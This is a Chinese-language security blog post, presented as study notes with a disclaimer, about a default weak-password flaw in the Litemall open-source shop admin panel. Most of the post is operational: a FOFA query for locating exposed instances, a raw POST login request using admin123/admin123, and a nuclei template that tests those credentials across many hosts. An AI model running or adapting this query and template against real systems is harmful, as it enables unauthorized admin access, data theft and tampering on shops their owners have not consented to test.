免责声明：
本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
漏洞描述
Litemall-Login开源商城管理系统存在弱口令漏洞,攻击者可以利用弱口令漏洞直接访问应用系统或管理系统，进而进行系统、网页、数据的篡改或删除，非法窃取系统和用户的敏感数据，有时甚至导致整个服务器受到严重威胁。
fofa语句
app="litemall"漏洞复现
打开页面
构造payload
POST /admin/auth/login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Length: 55
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9b
Connection: close
Content-Type: application/json
{"username":"admin123","password":"admin123","code":""}nuclei批量验证
id: litemall-weak-passwd
info:
name: Litemall-Login开源商城管理系统存在弱口令漏洞
author: changge
severity: high
description: |
Litemall-
metadata:
fofa-query: app="litemall"
reference:
- https://127.0.0.1
tags: auto
http:
- raw:
- |
POST /admin/auth/login HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9b
Connection: close
{"username":"admin123","password":"admin123","code":""}
matchers-condition: and
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body, '\"errmsg\"\:\"成功\"')